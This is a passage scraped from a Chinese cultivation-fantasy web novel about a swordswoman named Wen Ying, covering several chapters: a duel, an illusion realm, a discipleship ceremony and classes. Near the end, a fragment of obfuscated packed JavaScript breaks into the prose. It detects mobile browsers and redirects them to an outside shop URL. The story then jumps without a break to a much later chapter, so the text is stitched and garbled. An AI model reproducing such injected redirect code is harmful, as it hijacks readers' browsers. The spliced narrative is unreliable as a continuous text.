她摸着闻樱的头发,爱怜不已:“我小时候头发很少,她每日都来为我梳头。她有一双巧手,喜欢为我梳一对双髻,还送了我一支亲手打造的银簪。” “是你头上那支吗?” “是。”素素说道。 “我那时候想,她一定会是一个很好的母亲,但我又不希望她成为母亲,被困于宅院。我希望她有一把剑,有一匹马,行遍世间 6. 质问 《经常帮捉妖的漂亮师妹》全本免费阅读 闻樱借着月光,擦拭剑身,原主的佩剑不知是从哪个犄角旮旯寻来的,并非什么名家所造,就是一把最普通不过的开过刃的长剑。 但常言道,强者从不抱怨环境。 闻樱虽不是强者,但也不会嫌弃手中之剑。 曾经即便手中握着的是木剑,她也能把顾其渊杀的片甲不留。 昨夜的敲门声又一次响起,女人阴恻恻的声音如湿冷的毒蛇,在闻樱耳边响起:“小鱼你睡了吗?快来给我开门,放我进去。” 闻樱提着剑,走到门口,剑身一挑,木栓飞了出去。 木板门嗵的一声,被阴风吹开。 她的长发被这股强烈的风气吹得乱舞,而她站在气浪中心,岿然不动,目沉如水。 门外哪里来的人? 闻樱蹲下身,从地上捡起一朵即将凋零的海棠花。 她将这朵花插在鬓发间,向前看去。 此时外面的景象已经和她进屋之前,大不相同。 猛风飘电,黑云乍生,阴霾将月亮遮蔽,素素挂起的灯笼被风卷起,狂摇乱舞。 庭院里面昔日繁茂的花草,也杂乱衰败。 海棠树上的花似乎顷刻之间被人抽取生机一般,纷纷扬扬的飘落,如一场衰败的花雨。 隔过飘零的海棠,她看到了被男人压在树上的素素。 素素也看到了她。 她面容凄楚,泪水滚落,戚戚然将闻樱望着,红唇轻启。 一道惊雷轰的响起,她只看到素素嘴巴张合,没能听到她在说什么。 雪亮的剑刃映照出素素的破碎,和男人杀心难掩的面容。 闻樱将剑飞掷而去,剑身在空中如银轮一般飞速转动,当的一声,砍在男人逼近的剑刃上面,火星四溅。 男人没想到闻樱会在这时出来,被她这柄注入了全部力道的剑打的往后踉跄几步。 闻樱趁他被打退,一把拽过素素,揽着她迅速后退到离男人几个身位远的距离。 她伸出另一只手,长剑重新回到她的手中。 素素看上去情况很不好,不知是不是喝了太多酒水的缘故,连站都站不稳。 如果不是闻樱出现,现在应当就是手无缚鸡之力的素素对上起了杀心的男人,甚至不用多想,闻樱就知道结局。 少女眼中涌上了罕见的薄怒。 她行走在凡间之时,看到过那么不愤不平之事,她以为自己已经不会生气了,但此刻,她内心还是感受到一股怒意。 闻樱将素素安置一旁,自己提剑砍了上去。 男人周身灵气暴涨,闻樱和他比起来,所拥有的灵气杯水车薪,每一次砍在男人身上剑上,自己都要承受比之深数倍的痛苦。 但她没有丝毫退缩,仿佛一个感受不到痛苦的机器一样。 痛,就会退缩,一旦生退缩之意,便破绽百出。 这是顾怀若教给她的第一课。 长剑纵横捭阖,快到男人无法招架,剑如流光劈砍而下。 他有些慌了,顿生退却之意,试图和闻樱沟通。 “今日之事与你无关,你现在走出这道门,我不会伤你分毫。” 破绽已现,闻樱手持长剑破气而入,刺入男人肩膀。 男人哀嚎一声,捂着肩膀痛骂道:“你个贱人,你怎么敢?” 他咬牙将一道灵气拍入肩膀,延缓血流的速度,随后反手握剑,磅礴剑气带着想要将闻樱碎尸万段的戾气,再度向闻樱罩下。 闻樱曾见过无数次这样的眼神,对手的无视令他恼羞成怒,令他破防大骂。 她和很多男人打过,他们的心境比起女人,总是要差很多,他们禁不起恝然,更禁不起驳斥。 但即便闻樱觉得跟这种想要杀妻之人说话是浪费生命,她也想知道为什么要杀素素。 两剑十字砍在一起,都进退不得,闻樱和男人离得很近。 她问:“为什么?” “为什么要杀素素?” “你不懂。修仙之人,所求不过飞升,若为凡世红尘所累,何以得证大道?儿女情长,皆属虚妄,凡生爱恋,逆旅而已,如若不杀妻,何以践行无情大道?” “你们总有如此多冠冕堂皇的话,其实你从未将素素当过自己的妻子。你自诩修士,高高在上,在你眼中素素不过是一介凡人,凡人血,凡人骨,一生与仙途无缘,是你所谓大道的累赘,于是你现在想要抛下她,就像抛下一根发丝一般心无愧意。” “我为何有愧?素素是我的妻子,与我便是一体,我好即为她好,我灭即为她灭,助我得道,她有何不愿?割舍欲望,何错之有?” “的确,人为欲望所累,但也因欲望所存在,人若不论好坏,割舍一切欲望,无情无爱,无欲无求,和牲畜又有什么区别?更何况你修你的道,你绝你的情,你来招惹素素做什么?让她成为你践行无情大道的踏板? 你们满口仁义道德,断情绝爱,然则自私虚伪,对他人生杀予夺,夺取他人性命之后还要表现出一副我也很痛苦,我也很难过的样子,你想过被你杀的那个人是怎么想的吗?别人只觉得倒了八辈子血霉,遇上你这么一个人。” 闻樱冷笑:“你们的无耻,我真是常看常新。” 她手中用力,素腕青筋暴起,硬生生将男人逼退三分。 男人暴喝一声,灵力翻涌,两人同时被磅礴的灵气掀翻出去,闻樱将剑插入地中,稳住身形,喉结迅速滚动,压下翻涌而上的腥甜。 男人要更惨一些,明明有灵气的是他,他却不知道为什么打不过面前这个女人。 他被掀翻在墙上,滚落地下喷出一口鲜血,染红了面前的海棠碎瓣。 闻樱低头看掌心剑,她不知道砍了男人多少刀,剑上满是豁口。 她起身,将剑拔出,又要攻去,远处传来少女熟悉的声音。 闻樱回头望去,林妙音两手放在嘴边,大声喊道:“闻樱,接着!” 一把剑被身影如梭的少女运至她手中,李却扇送完剑,手中折扇射出两道钩爪,钩住槐树,远离了闻樱身边。 闻樱低头,她手中的是上古神剑,鱼常剑。 闻樱唇角勾出一抹笑意,弃掉手中残剑,反手将鱼常剑握紧,向男人再度攻去。 林妙音看呆了,这把在她手中无功无过的剑,在闻樱手中却发挥了它最大的威力。 她像是天生为用剑而生。 不!她自己就是一把锋利的饮血之剑。 此刻,剑骨在她体内催拉到极致,闻樱借剑骨之气赋予手中鱼常剑。 茜红罗裙翻涌,银光在其中若隐若现,少女每一道都是致人于死地 7. 嘱托 《经常帮捉妖的漂亮师妹》全本免费阅读 素素启唇,说道:“你劝了我那么多,我却没有听你劝告,最后枉送性命。” 她指的是闻樱曾多次暗示她,她和男人之间的相遇定情充满违和感。 闻樱摇头道:“这不怪你,我们三人是外来之客,我劝你也只是后来发生之事,在事情发生的当下,无人劝你,无人拉你一把。你是受害者,你没有错。” 素素微微错愕,愣了好一会儿。 许久,她垂眸释怀一笑。 “如果当时,我身边也有你就好了。” 可惜,她们之间隔了两百年。 素素又问道:“你知道我为什么要将你拉入境中吗?” 闻樱也曾多次想过这个问题,从来没有任何异动的玉虚境,为何会被启动? “你可知玉虚境下,为何地?” “剑冢。” 还有锁灵渊的禁地。 闻樱不确定素素知不知道锁灵渊有禁地一说,便没有提此样。 “不止,在你的气息注入法阵的那一刻,发生异动的不止有剑冢,剑冢之下,深渊尽头,似乎有别的什么东西发出嘶吼,而这两样都是因你而起。 若放任法阵继续运转下去,你会被锁灵渊那些人抓起来,研究你身上究竟有何秘密,所以是我启动了玉虚境,将你拉进来,在你走后,异动平息,他们便断定,方才的异常,是玉虚境所为。” “多谢,不过为何要帮我?” 素素望着她,似乎透过她在看别的什么东西。 许久,她轻声道:“或许,是因为你身上有故人气息。” “小鱼,我先前对你所说,皆为真言。家姐名为姜雉,曾拜入锁灵渊寻仙问道,于剑术一道颇有造诣,请你帮我打听她的下落,无论生死,我都想知道她发生了什么。” “娘子放心,我自会帮你打听。” 素素浅笑,抬起手,将她也送出玉虚境。 闻樱的身形随着时间的流逝逐渐淡化,她望着素素,不知为何心里有些堵。 消瘦的女子立在原地,对她轻轻挥手。 她仿佛被永远地困在了那里,亦被困在了两百年前的那个深夜。 * 闻樱呛咳一声,从善境中清醒。 过去的几日好似做了一场大梦,再看现实,多少有些不真实感。 这是入境的后遗症,她前世已经习惯。 姜伞见她苏醒,将她从地上扶起。她由着姜伞拉她,目光一错不错地盯着男人的眼睛,没有说话。 她脑海中流过纷杂的片段,感觉当下有一种似曾相识之感。 青年骨节分明的手抚在她后背,凉意透过衣衫被她感知,她张了张嘴,想要说什么。 “……”还没吐出字,就被旁边人说话的声音打断。 “大小姐,掌门闻您被卷入玉虚境内,担心不已,本说找长老去救您,您现在自己出来了,是不是该去拜见掌门,也好叫他放心。” 闻樱闻声看去,那里前前后后总有五六个人。有人帮林妙音撑伞,有人帮林妙音递水,大小姐看起来已经出来好一阵子了,但却留在这里还没有走。 林妙音依旧是那个臭脾气,冷哼道:“玉虚境?玉什么虚,人家有名字叫素素,你去跟掌门说,以后就叫素素境还是素境,随你们。” 几名弟子面面相觑,为首那人无奈道:“大小姐,这玉虚境的名字是自古有之,约定俗成,哪能说改就改,而且这种小事,容后再议便是,现在掌门正在议事堂等您。” “等我干嘛?我这不是没死吗?你们回去复命不就成了。” “大小姐您别为难我们,我们也是奉命行事,您不跟我们走,掌门那里只会迁怒我们。” 林妙音没好气道:“他为难你们,你们就跑来为难我?” “弟子不敢。” “他不是人人称赞的贤主吗?难不成还会苛待你们?好了,让你们调查的事情查清楚了没?告诉我,我就随你们回去一趟。” 弟子哎了一声,脸上带了笑,说道:“您嘱托我们的事已经查清,闻樱此人,是饮冰楼新招的弟子。不知大小姐打听此人作甚?可是她冲撞了您?” 林妙音古怪地看他一眼:“我看起来脾气就那么不好吗?” 弟子讪讪一笑,擦了擦汗,心想可不是嘛,这锁灵渊就数您脾气最大了。 偏偏还是掌门独女,得罪不得。 “好吧。”林妙音娇声道,“我随你们回去,不过你去经世堂的人说,我也要拜入饮冰楼。” “好好好,您说什么都……什么?”给那名弟子吓得嗓子都破了。 林妙音重复了一遍,面上已经有些不耐。 “这得跟掌门说啊,我们做不了主!” “我也没让你们做主。你们替我跑趟经世堂,交代一声便是。掌门那边,我去跟他说。” 闻樱看她神采飞扬的样子,和境中那名凄惨的孤女完全无法联系起来,倒和前世的林妙音对外的模样渐渐重合起来。 她一时分不清,现在究竟在前世,还是在哪里? “你还走得了路吗?”姜伞起身,向她伸出手。 一句话,将她拉回现实。 闻樱摇摇头,明净的眼眸望着他,但也没有要握他手的意思。 林妙音还在那边折磨玄剑宗的弟子,听到姜伞的声音,转过身来,见闻樱已醒,眼神一亮,提起裙摆径直往她这边走来。 走到这边,才察觉两人之间气场有些微妙。 她左看看,右看看,问道:“我不会打扰你们了吧?” 修长的指节不自在地微微蜷缩,姜伞要收回手时,闻樱忽然将小手放入他的掌心。 姜伞顿了顿,将闻樱从地上拉起。 等到闻樱站稳,他松开闻樱的手,面容清冷克制。 闻樱看他一眼,将目光转向林妙音,粲然一笑:“当然没有,你们不是早就出来了吗?怎么还在此地?” “还不是为了等你。你等着,等我拜入饮冰楼,你可要喊我一声师姐!” 闻樱失笑,问:“你比我后入门,我为何要喊你师姐?” “你比我小这么多,难不成还想做我师姐呀?”林妙音没好气地想要掐掐她的脸。 旁边的姜伞静静盯着她,林妙音不知为何感到不自在极了,撇了撇嘴又将手放下。 闻樱笑弯了眼:“那我等你。” 林妙音又凑近,耳语道:“他们想要再测你天赋,我知无论发生什么,当时异动一定与你脱不了干系,再测天赋怕对你不 8. 管絮 《经常帮捉妖的漂亮师妹》全本免费阅读 “快起来闻樱,再不起来拜师礼就要迟到了!” 闻樱睡眼迷蒙,翻了个身,有气无力地说道:“这个师咱们非拜不可吗?” 林妙音和李却扇上来,一人抓着闻樱一只胳膊,把她从床上拉起来。 从玉虚境回来后,闻樱睡着的时间比醒来的时间都多。 然而她每次醒来,身上的修为都更进一步,林妙音的羡慕都说倦了。 “你若不起,干脆别在饮冰楼呆着了,还拜什么师,修什么道?干脆随我回玄剑宗好了,玄剑宗的拜师礼在几日之后,你可等得起。” 饮冰楼。 玄剑宗。 顾怀若。 闻樱坐起身来,道:“等我一下,马上就到。” 为了答谢闻樱破境之恩,林妙音赠送了珠宝首饰、绫罗华裳若干;李却扇则大笔一挥连夜写了几十张符纸塞在锦囊里,让闻樱挂在身上。 两位师姐从衣食住行,到生命安全,都给闻樱包圆了。 闻樱看着塞满衣柜的衣服,忽然感慨。 自己前世在玄剑宗过的都是什么日子。 她手指习惯性地去拿素色衣裙,倏然响起素素所说的话,指尖在柔软的衣裙间移动,落在了一抹殷红上。 她几下穿好衣裳,就要和林妙音她们走。 林妙音神色古怪地看着她:“你就这样去?” 李却扇也说道:“毕竟是拜师礼,你看,就连我都把头发好好束了一下。” 她打小过的粗糙,也不会梳头,只将头发都拢起,在头顶扎了一个高马尾,用青色飘带系紧。 而林妙音就更显隆重了些,头发绾成华美的发髻,乌发云鬓,贵气逼人。 “掌门说我要拜入饮冰楼,就不能带一个侍女来,这还是我天不亮偷跑回玄剑宗找从前的侍女帮我弄得。” 林妙音表示爱莫能助。 闻樱决定,和李却扇一样,扎个高马尾在头顶。她从妆奁中取出金色飘带,将头发高高束起。 李却扇一言难尽地看着她自己扎的高马尾,不知作何评价。 实在是跟饮冰楼牌匾上的字给人异曲同工的感觉。 可惜马上就要到拜师的时间了,来不及解开重新整理,闻樱便顶着略显歪扭的高马尾出门了。 * 今年饮冰楼生源大好,首先是玄剑宗掌门之女没有选择拜入玄剑宗,转而拜入饮冰楼这一行为闹得沸沸扬扬,最主要大小姐任性便罢了,掌门居然还同意了,这才是最让人震惊的。 再者,饮冰楼今年收了一位天才符修,本是凡间一位小道士,于符修之道上却有十成的契合率,玄剑宗率先对这位符修递出橄榄枝,然而她却选择了饮冰楼。 饮冰楼一定有什么长处是他们不知道的,很多人秉持此等信念,一同拜入饮冰楼。 除此之外,倒还有一桩奇事。 饮冰楼那位测试天赋时引起异动的弟子,二十六道天赋值均为五成,将中庸之道贯彻到底,主打一个学什么都行。 今年奇人怎么这么多?还都汇集到饮冰楼了! 因着这些传的纷纷扬扬的小道消息,大家都想看看这几位奇人长什么样子,一早便来紫极殿翘首以盼,等着一睹真容。 然则待到拜师礼快要开始,才将这几人盼来。 为首的那名女子容貌绮丽,云鬓高耸,浑身上下透露着一股金钱奢靡的不正之风,想来就是传说中的林大小姐。 走在她旁边的女子稍矮,肤色白皙,脸颊有肉,头发在脑后高高束起,显得清秀干练。 她不笑的时候看起来颇有些少年老成之感,不知旁边的林妙音说了什么,她忽然笑了起来,颊边小窝若隐若现,看上去亲切可人。 再往后,众人眼睛睁大了些。 不是因为女子艳丽的容貌,而是因为她头发扎的凌乱,看上去滑稽可笑。 金色的发带在她发间扑闪,像一只翩飞的蝴蝶。 她像是看到了什么人,远远地招起手来,笑得眉眼弯弯,明艳的不可方物。 “师兄!” 姜伞身着玄衣,金色宽带将他腰裹紧,衣襟交叠至锁骨上方,多余的是一点都不肯露出。 这身衣服衬得他华贵而俊美,满座师兄弟,被他比进了土里。 姜伞看到她过来,正要打招呼,看到她的头发,问:“谁给你的梳的头?” “我自己呀。”闻樱摸了摸头发,问道,“不好看吗?” “很独特。”姜伞夸她。 闻樱深深地叹口气,怅然道:“别演了,你们想什么我都懂,我何尝不希望一辈子头发只梳一次一劳永逸。上次在境中,素素为我梳的头发很是漂亮,可惜睡了一觉就毁了,若是有什么保持发型的法宝,我定第一个购入。” “再或者,赐我一个田螺姑娘吧。”她虔诚的许了一个愿望。 林妙音闻言,笑得前仰后合。 几人排到了队伍的最后面,闻樱手抬起,遮蔽阳光,往队伍首端看去。 现在讲话的是饮冰楼掌门,管絮。 闻樱心中奇道:竟然又是一个熟人。 她被顾怀若带上玄剑宗时,仅有六岁,于凡间稚子而言,尚且是懵懂粘人的年纪,闻樱却懂事的很早。她试过和顾怀若亲近,但顾怀若都避而不见。 她学了新的剑招,抱着木剑去找顾怀若,想要比划给他看。顾怀若只是冷淡地看他一眼,质问身边的侍童,为何将她带来。 侍童哗啦跪了一地,闻樱抱着木剑,不知所措地站在原地。 她感觉自己做错了事情,但她还没想明白具体因为什么。 侍童将她抱走,那道门在她面前关起来。 侍童告诉闻樱,以后来要提前在宿玉上面发消息通报一下,得到顾怀若的同意才能来。 于是直到她死去,她只有有事的时候,才会去顾怀若的住所。 每次都需要提前通传。 顾怀若从未关心过她是怎么长大的,她一人在无人知晓的角落静静发芽。 留给她的,只有拂去的衣角,和冷若冰霜的面容。 起初,她以为顾怀若天生冷心冷情,不善交际。 后来顾其渊回来了,他们像寻常凡间父子一般,父慈子孝。 闻樱想,他们是血亲,理应亲密些,这并不奇怪。 再后来,顾怀若收了宁红玉为徒,闻樱才明白,原来不是所有人去找他都需要提前报备,原来他对人也是有笑脸的。 只是这一切不是对她而已。 即便闻樱天赋再高,出再多风头,也无济于事。 她想,她应该天生就不是一个会被人喜欢的人。 所以她比别人更明白不患寡而患不均这个道理。 唯有管絮,她那些年能好好活着,大部分都是管絮的功劳,还有小部分是她本人很难杀死的原因,所以她与顾怀若并不亲厚,而是常往管絮的紫极峰去。 她的剑法是自己摸索的,她的咒法却是管絮教的。 她想,她死后玄剑宗唯一会真情实感为她流泪的,可能也就只有管絮了吧。 闻樱叹气,抬头眨了眨眼。 不得了。 再久远的记忆,只要足够伤人,想起来时都足以让人怅然。 “日头这么毒,还得讲到什么时候啊。” 林妙音像是一片被暴晒过的叶子,蔫了吧唧,声音也有气无力。 李却扇也跟着幽幽叹了口气:“新生入学讲话这种东西,也不知是谁发明的。” 闻樱倒没感觉有那么热,身后站着的同窗比她还要高出一头, 9. 开课 《经常帮捉妖的漂亮师妹》全本免费阅读 饮冰楼开课,阖宗上下,忙碌不已。 李却扇一日未见林妙音,甫一见大小姐,险些没认出这个毫无形象坐在地上的人居然是林妙音。 “你这是怎么了?”李却扇收起新买来的朱砂,在林妙音身旁坐下。 “别提了。”林妙音看上去无精打采。 负责体术一课的是曾经玄剑宗紫极峰教习,长孙无疑。 长孙教习同管絮私交甚好,管絮离开玄剑宗之后,长孙教习也随之离去。 林妙音今日为了上课,特地拆了往日的云鬓高髻,换上了简单利落的窄袖剑服,其实她本身也懒得将头发梳的那样精细,只是为了安林舟之心罢了。 初见得长孙教习之时,林妙音还有些意外。 因为她看起来是一个非常柔弱瘦小的女子,但出手之后,林妙音悔的肠子都青了。 “体术一道,我所主张的只有四个字:拔兵伐骨。简而言之,若想练成金刚不败之体术,就要做好将全身骨头打散重建的准备。” 林妙音目光炯然,听得非常认真。 长孙教习负手,在弟子中穿行,声音温柔,却掷地有声。 “掌门既然让你们拜入我门下,就证明你们与体术,缘分不浅。那么提起体修,你们会想什么?虬结的肌肉?无穷的蛮力?你们看我,我符合你们对于体修的印象吗?” 林妙音摇头,宛如长孙教习的忠实捧哏。 长孙教习看着她,微微一笑,说道: “很多人不愿意学习体术,因为没有剑修的潇洒飘逸,也没有符修的玄妙深奥。鲁莽而为,力大无穷,是世人对体修的刻板印象。而我所奉行之炼体术,退可吸纳伤害,进可借力打力。修行体术的两个方式,课上课下你们分别进行。课上与我学习锻体功法,课下按照我给的方子,以药物锻体。” “尤其是女子,我想说的是:力量对女子而言,是最好的自保手段。不要担心锻体术会将你们的腰练粗,也不要担心功法会让的腿长出坚实的肌肉。崇尚力量,夺取力量,是我希望你们在我课上能够明白的道理。” 林妙音听的连连点头。 长孙教习回首,目光锁定她,温柔一笑。 “就你了,林妙音,来与我对打一番。” “于是,就成了现在这个样子了。长孙教习说拔兵伐骨,还真是一点情面都没留,差点给我打的床都下不来了。” 林妙音扯着李却扇的袖子,抹了一把辛酸泪。 “那你明天还去吗?”李却扇忧心道。 哪怕现在仅仅只是坐在这里,林妙音的腿都在打颤。 从林妙音被接回锁灵渊那日开始,她出行必是前呼后拥,形容亦是精致美丽。 而现在的她,丝毫没有往日的端庄。 但是李却扇却觉得这样的她,比从前还要好看。 从前美则美矣,但却像是束之高阁,名曰珍藏的孤本,也像是藏于地窖,价值连城的夜明珠。 那样的美像是被人设定好一般,不能行差踏错。 但现在的美更像是林妙音本人的美,而非她的衣裙,她的首饰之美。 美的很真实。 李却扇这样想。 林妙音思索了一会儿,郑重道:“当然去,我都被打了一天了,若是什么都学不会,这一天不就白挨打了?” “即便是往后被打三百天?” 林妙音很肯定地说道:“即便是往后被打三百天。”她也决不能让今天这顿打付之东流。 但其实,不只是这个原因,林妙音没有说出口。 管絮说的没错,她入门晚,林舟派了玄剑宗最好的教习来教授她剑术。 剑术很好,纵横之间,潇洒写意。 就像是闻樱那日在境中一般,耀眼夺目。 但她其实知道,自己在剑术上没有什么天赋,林舟也心知肚明,但还是执意让她成为一名剑修。 因为锁灵渊内,有头有脸的修二代,都学剑术,你不一定要精通,但一定要会。 更别提林妙音这种修二代中的修二代。 剑术有那么好吗?他们又是真的适合剑吗? 其实未必。 只是因为在林舟此类人眼中,剑术更上的了台面罢了。 哪怕是花拳绣腿,但姿态风流即可。 他从未想过真正的培养她。 就像一个宠物,又或者是一个傀儡,按照他所期许的方向,制定好她未来的路。 可她不能在这样美好的温床中殉道。 她掩下眼中思绪,问李却扇:“你呢,掌门是那样千娇百媚,我见犹怜的女子,你们上课,应当一片和睦吧。” 李却扇闻言,尴尬一笑:“今日,我上的是咒术课。” 管事将一张太师椅锵锵几步抬至众人之前,放下。 管絮裙摆一挥,施施然坐下,手中握着一把留青竹柄,上绘化蝶的团扇,有一下没一下地扇着风。 李却扇紧张地咽了咽口水,上管絮的课,就像在皇帝手下办事一样,让人恨不得打起十二分精神。 “自古符咒一家,不分彼此,但仍分主次。符文为主,咒术为辅,毕竟此地已有千百年未有人飞升成仙了,你们所能用的咒术,不过是从仙人手中偷得的一些权柄而已。” “如果将符文比作凡间皇帝的圣谕,那传递圣谕的官员就是咒术。符文不光要写出来,想要加倍发挥他的实力,就得好好学咒术。” “习得咒术不光能助你驱邪缚魅,保命护身;亦可使你灵台明净,心道合一。我所推崇之咒术,一则净心,二则净身,三则敬神,四则攻昧。” 说完,她团扇招了招:“你来,我们今日,就学净心。” 为首的那名弟子额头滑落一滴汗珠,战战兢兢地上前两步。 管絮轻轻笑道:“怕什么?我又不会吃了你。” 说罢,她施施然开口:“净心一道,需平心静气,气沉丹田,丹朱为先,正伦次之,其后罗千,再者虎贲,炁神引津液,心神固丹元。” 说完,她顿了顿,微笑道:“你可听懂了?” 那名弟子讷讷点头,可看起来却是肉眼可见的晕头转向。 怎么每个字他都懂,连起来却又不知道什么意思? 管絮嘴角露出一抹笑意:“那好,请再为我复述一遍。” 弟子傻眼。 他支支吾吾半天,难能说出一句话。 管絮笑意未变,嘴里吐出的话却能将人置身寒冬腊月:“即便你开口像呆子,也总比你不开口做呆子来的好。” 下首弟子呼吸凝滞,恨不得把自己就地埋土里。 好在管絮也没有再抽查人回答问题的意思。 她坐在椅子上,重复一遍刚才的话。 李却扇注意到周遭灵气波动,说这句话时,管絮用上了灵力。 紧接着,自管絮身下开始,逐渐蔓延出冰霜,以雷霆之势,将众人笼罩于冰雪之境。 管絮依旧靠在太师椅里,但眼底隐有蓝光。 她姿态优雅,如冰雪之境中的独一无二的王。 李却扇站在其中,灵台心神,都感觉到了一股前所未有的清明通透。 林妙音感慨道:“天呐,听着就很厉害,这是掌门独创吧?要不是我咒术契合度太低,听着我都想去偷师一二。从前我在门中,借着一位师姐的关系,与掌门也多有亲近,她不光人长得漂亮,还这么强大,还有毫无保留教你们咒术之心,却扇,你可真是遇到良师了。” 李却扇怔愣,跟着笑起:“我想是的。” “那闻樱呢?你今日一整天,见到她了吗?” 两人对视一眼,眼底皆是茫然。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915785|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看过来。 三楼以上是姑娘们的住所,除非有过提前预约,闲杂人等不得跟着姑娘上楼。 闻樱脚步一顿,背脊挺直,笑容淡下来。 就在她犹豫着是不是要回头时,耳边有人低低道:“得罪了。” 声音小到闻樱几乎以为自己听错了,然而下一瞬,姜扶雪将她拉过,抵在墙角。 闻樱心口一窒,抬头看他。 两人的温度充斥着狭小的角落,呼吸近在咫尺,身体也靠的很近。 管事的脚步声一寸寸靠近。 “怎么不说话?” 姜扶雪原本扣着她的一只手腕,手微微抬起,沿着她的指尖顺势插进去,与她十指相扣。 不知道为什么,她忽然下意识地将自己的呼吸声收起,仿佛担心这样的距离,自己的呼吸声会吓到对方一样。 睫羽颤动,压下眸底慌乱的神色。 姜扶雪似乎也是在犹豫要不要继续下去。 直到管事将视角完全转动到他们这个角落,姜扶雪闭上眼,俯下身子,闻樱脑子一片空白,下意识地抬起手指,压在自己唇上。 他没有亲她,在她唇前堪堪停住,睁开眼,看着她的动作,眼底慢慢漾起笑意。 闻樱的脸腾地红了起来,她竖起的指尖就在两人中间昭然,收也不是,继续竖着也不是。 管事看过来,挠了挠头。 在他的视角中,纤瘦的女孩子被男人整个压在墙角,一味索吻。 他少有的尴尬起来,讪讪道:“你们继续。” 直到管事的脚步声远去,姜扶雪才直起身,松开闻樱的手。 她白皙的掌心已微微濡湿,方才十指相扣,这汗也不知是他俩谁的。 安全了,闻樱还没忘了他刚才笑自己的事,一双乌黑桃花眼隐含水色,潋滟地瞪了姜扶雪一眼,没好气地问:“你笑什么?” 他伫足沉默,随后指了指离去的管事:“笑他。” 指了指楼下宾客:“笑他们。” 最后,他指了指自己。 “笑我自己。” 唯独不肯说在笑闻樱。 闻樱哼了一声,留下一句:“这还差不多。” 转身,衣裙飘飘然地往楼上急急走去。 这一路几经波折,总算是到了玉碎门前。 闻樱敲了敲门,耐心地等了一会儿,里面一片死寂。 她面色稍沉,又敲了一次,这次依旧没人开,她与姜扶雪对视一眼,暗道不好,抬手推开了大门。 曾借助黑豆眼看到的屋内陈设依旧如往常摆置,然而那名叫弧月的贴身女使躺在地下,玉碎则不知所踪。 琵琶倒在地上,闻樱连忙走过去,将弧月翻过身来,掐她人中。 好在弧月只是晕了过去,睫毛抖了抖睁开眼,认出了闻樱是那日在鸡鸣寺见过的熟人,抓着她的手腕虚弱道:“救姑娘,救我们家姑娘,她被人带走了。” “你看到她往哪个方向去?” 弧月指向窗外:“西边,快!” 闻樱将弧月拖到床上,自己则扶着窗沿往外面一看,此处是顶楼,距离楼底有相当大的高度。 且窗沿上没有脚印。 如果弧月没有说谎,贼人是如何带着玉碎那么大一个活人从这里离开的? 闻樱抬头,望向天上。 “师兄,御剑!” 两人按照弧月说的方向,御剑而去。 55.回忆 今夜孤星伴月,夜色幽深,乌云将月色掩映。 金陵城已然宵禁,偌大街巷空无一人。 此时若有人出门抬头看,定能看到高悬的明月间,一条长龙穿破云层,在乌云雾气中翻腾。 上面有一抹小小的影子,清瘦纤弱,抓着龙凌乱的鬃毛,头发在狂风中乱舞,白色的衣衫在身后飘摇。 紧随一龙一人之后,是流星一剑,青色的利刃划破天际。 闻樱站在后面,掐诀念道:“天行有道,福祸无常,请灵入圣,头足倒置。” 无常·逆行 前面原本平稳穿梭在云层中的龙躯干一顿,头尾不受控制地摆动起来,仿佛失去了方向,他背后的女人也被颠簸地摇摇欲坠,几次差点从龙背上摔下来。 它像是知道闻樱不会轻易放走他一般,猛地一头向下扎去,往地面俯冲。 这一带是金陵城外的茂密荒林,龙头势如破竹地冲向地面,一路树木被连根拔起,东倒西歪,凡路过之地,一片狼藉。 闻樱二人紧随其后,染玉紧贴地面,急速前行。 忽然,龙身逆转,蜷曲粗壮的龙身在地上卷起飞砂乱石,发出嘎啦的剧烈声响,整条庞大的龙在地上盘踞起来,上肢高高地扬起,冲向闻樱,张开嘴,发出凄厉的威胁嘶鸣声。 朔风从龙口中喷出,闻樱头发尽往后飞去。 她抬手,挡住这满含腥臭的飓风,另一只手从地上拾起一根树枝,迎了上去。 以树枝战巨/龙,她还是第一人。 树枝上附着了灵气,每每刺去,都带着凛冽剑气。 闻樱这才借着月色看清,所谓的龙只是一条化螭没多少年的巨蛇。 传闻蛇五百年化蚺,蚺五百年成蛟,蛟五百年炼螭,再五百年成虬,最后方能化龙。 之所以说它化螭没多久,是因为庞大的蛇身上还保留着蛟的形态,额头空空荡荡,仅仅冒出了一个尖角,正要萌发出角。 尾巴也光秃秃的,不若在神庙看到的那只夔龙,身上的鳞片泛着冰冷的光泽。 这是一只年纪不大的螭,还保持着青年的形态,目光戒备地紧盯着闻樱的手,揣测她下一步会刺向哪里。 然而预想中的剑气没有来,闻樱提醒他:“蛇修炼至今不容易,至少也要一千五百年,你若是在今日犯下杀戒,一千五百年便白费了。” 螭龙的瞳孔紧紧盯着她,沉闷的声音从蛇身腹腔发出。 “不用你管。” “但是你背上的人,我必须管,你不能杀了她。” 螭龙没有否认,而是以行动说话,尾巴扫过地上树木,扬起灰尘漫天,重重向闻樱拍来。 闻樱见状,也不再多言,树枝灵活地在蛇身中穿行,将螭龙厚重的蛇皮划开一道道口子。 螭龙大怒,幽绿细长的瞳仁锁定她,闻樱忽然想起秦雪溯曾经提到过的,她在马车里曾经对上的一双眼睛。 那时闻樱还没想明白究竟是什么妖怪,会拥有那样的瞳孔。 而现在看到螭龙眼眸的那一刻,她恍然大悟,道:“那天致使安平县主受到惊吓的人,是你!” 螭龙不说话,闷头打着。 闻樱继续道:“凤仪楼就在就在守经街不远处,你因为什么原因不能随意移动,只能借助凡人身躯,所以为了让秦雪溯腾出位置来容纳你的魂魄,你吓走了她一魂,自己藏在里面,马车经过凤仪楼的时候,你便离开了她的身体,回到了凤仪楼。” “是又如何?”螭龙道。 “所以车夫也是你杀的。” 螭龙不置可否:“他若不大喊大叫,我也不会想着杀他。” “原来如此,原来如此。”闻樱明白了前因后果,更加不敢掉以轻心。 如果这是一条杀生过的螭龙,那么他背后的玉碎现在很危险。 可打着打着,闻樱又发现了不对劲的地方。 